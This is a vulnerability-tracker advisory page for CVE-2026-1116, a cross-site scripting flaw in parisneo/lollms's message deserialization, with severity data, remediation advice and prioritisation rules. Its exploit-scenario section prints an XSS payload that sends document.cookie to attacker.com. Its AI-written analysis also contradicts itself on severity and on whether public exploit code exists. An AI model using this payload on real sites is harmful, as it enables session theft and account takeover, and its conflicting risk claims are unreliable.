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Parisneo Lollms CVE-2026-1116

| EUVDEUVD-2026-21692 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-12 @huntr_ai
6.1
CVSS 3.1 · NVD
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker submits malicious JSON/dict with XSS payload
  2. Exploit
    Application calls AppLollmsMessage.from

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

User must interact with a crafted message containing malicious HTML/JavaScript payload in the content field of AppLollmsMessage.from_dict() deserialization in parisneo/lollms prior to version 2.2.0. Victim's browser executes injected script in application context.

Impact

Real-world risk is elevated due to multiple converging factors. The CVSS base score of 8.2 (High) reflects high confidentiality impact and scope change, meaning successful exploitation transcends the vulnerable component's security boundary - critical for multi-user applications. Attack complexity is low (AC:L) and no authentication is required (PR:N), lowering the skill barrier for attackers. User interaction (UI:R) is required, meaning victims must view or interact with attacker-controlled content, which is realistic in collaborative or messaging contexts where lollms might be deployed. A public exploit exists (huntr.com bounty submission), dramatically lowering time-to-exploit for opportunistic attackers. The scope change (S:C) combined with high confidentiality impact enables session token theft via JavaScript, facilitating account takeover. The description's mention of 'wormable attacks' suggests self-propagating XSS scenarios if user-generated content flows through the application. No EPSS score provided, but the combination of public POC, low complexity, and no auth requirement suggests non-negligible exploitation probability. KEV status not confirmed, indicating no confirmed active exploitation (CISA KEV), but the public POC and framework nature of lollms means exploitation depends on downstream integrations. Organizations using lollms in user-facing contexts should prioritize this as a critical remediation item; those using it in isolated/internal contexts face lower immediate risk.

Exploit ScenarioDerived

An unauthenticated attacker crafts a malicious dictionary payload with a content field containing JavaScript such as <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> and submits it to an API endpoint using lollms's AppLollmsMessage.from_dict method. When a victim user views the deserialized message in their browser session, the injected script executes, exfiltrating session cookies to the attacker's server, enabling account takeover. Publicly available exploit code exists, as evidenced by the huntr.com bounty submission providing proof-of-concept details.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Apr 12, 2026

Cross-site scripting in parisneo/lollms prior to version 2.2.0 allows unauthenticated remote attackers to execute arbitrary JavaScript in victim browsers via malicious HTML payloads injected through the unsanitized content field in the AppLollmsMessage.from_dict deserialization method. The changed scope (CVSS S:C) indicates impact beyond the vulnerable component, enabling session hijacking, account takeover, and potentially wormable attacks. Publicly available exploit code exists (reported v

Earlier versions of this analysis (1)
v1 Apr 12, 2026 - 02:49 CVSS 8.2

Cross-site scripting in parisneo/lollms prior to version 2.2.0 allows unauthenticated remote attackers to execute arbitrary JavaScript in victim browsers via malicious HTML payloads injected through the unsanitized content field in the AppLollmsMessage.from_dict deserialization method. The changed scope (CVSS S:C) indicates impact beyond the vulnerable component, enabling session hijacking, account takeover, and potentially wormable attacks. Publicly available exploit code exists (reported via huntr.com bug bounty). EPSS data not provided, but the low attack complexity (AC:L) and network attack vector (AV:N) combined with high confidentiality impact (C:H) and scope change indicate significant exploitation risk for applications exposing this deserialization functionality to untrusted input.

RemediationAI

Upgrade parisneo/lollms to version 2.2.0 or later, which includes the fix committed in https://github.com/parisneo/lollms/commit/9767b882dbc893c388a286856beeaead69b8292a that implements proper HTML encoding or sanitization of the content field during deserialization. Organizations unable to immediately upgrade should implement compensating controls including strict Content Security Policy (CSP) headers to mitigate JavaScript execution, input validation to reject HTML/JavaScript syntax in message content fields, and output encoding at render time using framework-native escaping functions. Review application logs for suspicious message payloads containing script tags, event handlers, or JavaScript protocols. Conduct security testing of all endpoints accepting message dictionary data to confirm exploitation paths are closed. For detailed technical context and proof-of-concept details, consult the huntr.com disclosure at https://huntr.com/bounties/d3d076a7-2a51-4e07-8d0e-91e28e76788e. Downstream applications using lollms as a dependency must update their dependency manifests and rebuild to incorporate the patched library version.

Affected VersionsENISA

parisneo/lollms unspecified <2.2.0

Affected Packages

pypi lollms fix: 2.1.1
euvd parisneo_lollms_unspecified fix: 2.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in parisneo/lollms, a large language model framework. The affected component is the from_dict method within the AppLollmsMessage class, which deserializes user-provided dictionary data into message objects. CWE-79 identifies this as an improper neutralization of input during web page generation - the classic stored or reflected XSS root cause. When the content field is deserialized from untrusted sources (likely API endpoints accepting JSON/dict payloads), no HTML entity encoding or sanitization occurs before the content is rendered in a web context. CPE cpe:2.3:a:parisneo:parisneo/lollms identifies the affected product as the parisneo/lollms application framework across all versions prior to the fix. The CVSS vector CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C indicates network-accessible exploitation with no privileges required, low complexity, but requiring user interaction (likely viewing a malicious message), with scope change suggesting the JavaScript executes in a different security context than the vulnerable component itself.

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Severity by source

NVD PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

6
Severity Changed
Apr 17, 2026 - 16:22 NVD
HIGH MEDIUM
CVSS changed
Apr 17, 2026 - 16:22 NVD
8.2 (HIGH) 6.1 (MEDIUM)
Patch released
Apr 17, 2026 - 16:18 nvd
Patch available
Analysis Updated
Apr 16, 2026 - 05:57 EUVD-patch-fix
executive summary
Patch available
Apr 16, 2026 - 05:29 EUVD
2.2.0
CVE Published
Apr 12, 2026 - 02:22 nvd
MEDIUM 6.1

DescriptionNVD

A Cross-site Scripting (XSS) vulnerability was identified in the from_dict method of the AppLollmsMessage class in parisneo/lollms prior to version 2.2.0. The vulnerability arises from the lack of sanitization or HTML encoding of the content field when deserializing user-provided data. This allows an attacker to inject malicious HTML or JavaScript payloads, which can be executed in the context of another user's browser. Exploitation of this vulnerability can lead to account takeover, session hijacking, or wormable attacks.

Executive ViewAI

Why It Matters

ParisNeo LOLLMS versions prior to 2.2.0 contain a cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious JavaScript into user browsers, potentially enabling session hijacking and account takeover. The vulnerability affects all users of the affected versions and requires immediate patching to prevent credential compromise and lateral movement within user environments.

Business Impact: High
Compensating Controls

Apply vendor patch. If immediate upgrade is not feasible: implement network-level input validation blocking HTML/JavaScript payloads in content field submissions; restrict LOLLMS access to authenticated internal networks only; deploy browser-based XSS filters and Content Security Policy headers; monitor for suspicious session activity and enforce session re-authentication for sensitive operations.

Threat Intelligence Overview

EPSS Score
0.0%
Top 99% exploitable
Social Media
5
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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